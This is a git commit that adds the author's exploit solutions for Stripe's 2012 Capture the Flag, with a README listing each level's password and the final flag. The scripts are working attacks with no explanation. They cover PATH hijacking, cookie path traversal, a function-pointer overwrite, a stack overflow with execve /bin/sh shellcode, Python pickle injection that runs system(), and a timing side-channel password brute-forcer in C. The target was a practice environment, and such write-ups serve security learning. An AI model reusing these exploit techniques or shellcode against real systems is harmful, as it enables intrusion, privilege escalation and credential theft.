diff options
author | Jason A. Donenfeld <Jason@zx2c4.com> | 2012-02-26 01:43:01 +0100 |
---|---|---|
committer | Jason A. Donenfeld <Jason@zx2c4.com> | 2012-02-26 01:47:20 +0100 |
commit | 5d3c4121034acf6987cc7ad9427d6e9c828db326 (patch) | |
tree | 94330bee34805b29b7ce0ca08fab03829906cb23 | |
download | Stripe-CTF-5d3c4121034acf6987cc7ad9427d6e9c828db326.tar.xz Stripe-CTF-5d3c4121034acf6987cc7ad9427d6e9c828db326.zip |
Initial commit.
-rw-r--r-- | README.txt | 16 | ||||
-rw-r--r-- | level01.sh | 4 | ||||
-rw-r--r-- | level02.sh | 2 | ||||
-rw-r--r-- | level03.sh | 24 | ||||
-rw-r--r-- | level04.sh | 5 | ||||
-rw-r--r-- | level05.sh | 3 | ||||
-rw-r--r-- | level06.c | 90 |
7 files changed, 144 insertions, 0 deletions
diff --git a/README.txt b/README.txt new file mode 100644 index 0000000..1eaed5c --- /dev/null +++ b/README.txt @@ -0,0 +1,16 @@ +These are solutions for Stripe's Capture the Flag. +Written by Jason A. Donenfeld (zx2c4) Jason@zx2c4.com. + +info: https://stripe.com/blog/capture-the-flag + +ssh server: ctf.stri.pe + +username password +level01 e9gx26YEb2 +level02 kxlVXUvzv +level03 Or0m4UX07b +level04 i5cBbPvPCpcP +level05 fzfDGnSmd317 +level06 SF2w8qU1QDj +the-flag theflagl0eFTtT5oi0nOTxO5 + diff --git a/level01.sh b/level01.sh new file mode 100644 index 0000000..1fa58a5 --- /dev/null +++ b/level01.sh @@ -0,0 +1,4 @@ +#!/bin/sh +ln -s /bin/sh ./date +echo "cat /home/level02/.password" | PATH=.:$PATH /levels/level01 | cut -d ' ' -f 3 +rm ./date diff --git a/level02.sh b/level02.sh new file mode 100644 index 0000000..ed4e43b --- /dev/null +++ b/level02.sh @@ -0,0 +1,2 @@ +#!/bin/sh +curl -s --digest --user level02:$(cat /home/level02/.password) -b user_details=../../../home/level03/.password localhost:80/level02.php | sed -n 's/ <p>\(.*\)/\1/p' diff --git a/level03.sh b/level03.sh new file mode 100644 index 0000000..7470514 --- /dev/null +++ b/level03.sh @@ -0,0 +1,24 @@ +#!/bin/sh + +# level03@ctf4:/tmp/tmp.lZLfBZODXa$ gdb /levels/level03 +# (gdb) break truncate_and_call +# Breakpoint 1 at 0x8048780: file level03.c, line 57. +# (gdb) run 1 something +# Starting program: /levels/level03 1 something +# Breakpoint 1, truncate_and_call (fns=0xffeecfec, index=1, user_string=0xffeed986 "something") at level03.c:57 +# 57 in level03.c +# (gdb) n +# 60 in level03.c +# (gdb) p &buf +# $1 = (char (*)[64]) 0xffeecf7c +# (gdb) p fns +# $2 = (fn_ptr *) 0xffeecfec +# (gdb) p (0xffeecfec-0xffeecf7c)/4 +# $3 = 28 +# (gdb) p run +# $4 = {int (const char *)} 0x804875b <run> +# (gdb) quit + +ln -s /bin/sh "$(printf '\x5b\x87\x04\x08')" +echo "cat /home/level04/.password" | PATH=.:$PATH /levels/level03 -28 "$(printf '\x5b\x87\x04\x08')" +rm "$(printf '\x5b\x87\x04\x08')" diff --git a/level04.sh b/level04.sh new file mode 100644 index 0000000..fdf3eff --- /dev/null +++ b/level04.sh @@ -0,0 +1,5 @@ +#!/bin/sh +# $ objdump -S /levels/level04|egrep 'call \*%eax'|cut -d : -f 1|tr -d ' '|head -n 1 +# 804847f + +echo "cat /home/level05/.password" | /levels/level04 "$(perl -e 'print "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x90" x 1015 . "\x7f\x84\x04\x08"')" diff --git a/level05.sh b/level05.sh new file mode 100644 index 0000000..cf0d434 --- /dev/null +++ b/level05.sh @@ -0,0 +1,3 @@ +#!/bin/sh +curl localhost:9020 -d "string; job: $(printf "cos\nsystem\n(S'cat /home/level06/.password > /tmp/level05password'\ntR.\n")" > /dev/null 2>&1 +cat /tmp/level05password diff --git a/level06.c b/level06.c new file mode 100644 index 0000000..6efac4e --- /dev/null +++ b/level06.c @@ -0,0 +1,90 @@ +#include <stdio.h> +#include <unistd.h> +#include <fcntl.h> +#include <limits.h> +#include <string.h> +#include <sys/resource.h> +#include <sys/stat.h> +#include <sys/wait.h> + +int teststr(const char *str) +{ + int out[2]; + pipe2(out, O_NONBLOCK); + + if (fork()) { + int status; + close(out[1]); + wait(NULL); + unlink("./tmp"); + usleep(30000); // This is way longer than it has to be + // for the purposes of looking awesome. + status = read(out[0], NULL, 1); + close(out[0]); + return status == 0; + + } else { + int file; + char buffer[1025]; + struct rlimit limit; + + dup2(out[1], 1); + close(out[0]); + + file = creat("./tmp", S_IWUSR | S_IRUSR); + fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK); + dup2(file, 2); + + getrlimit(RLIMIT_FSIZE, &limit); + limit.rlim_cur = 33 + strlen(str); + setrlimit(RLIMIT_FSIZE, &limit); + + snprintf(buffer, 1025, "%s~", str); + execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL); + } +} +int checkfull(const char *str) +{ + int out[2]; + pipe(out); + if (fork()) { + char result[36 + strlen(str)]; + memset(result, 0, sizeof(result)); + close(out[1]); + wait(NULL); + read(out[0], &result, sizeof(result)); + close(out[0]); + return result[sizeof(result) - 2] == 'W'; + } else { + dup2(out[1], 2); + close(out[0]); + close(1); + execl("/levels/level06", "level06", "/home/the-flag/.password", str, NULL); + } +} + + +int main(int argc, char *argv[]) +{ + + char buffer[1024]; + int i; + char c; + memset(buffer, 0, 1024); + for (i = 0; i < 1024; ++i) { + for (c = 32; c < 126; ++c) { + buffer[i] = c; + printf("\r\033[2K%s", buffer); + fflush(stdout); + if (teststr(buffer)) { + if (checkfull(buffer)) { + printf("\n"); + return 0; + } + break; + } + } + } + printf("\r\033[2Kunknown\n"); + return 1; +} |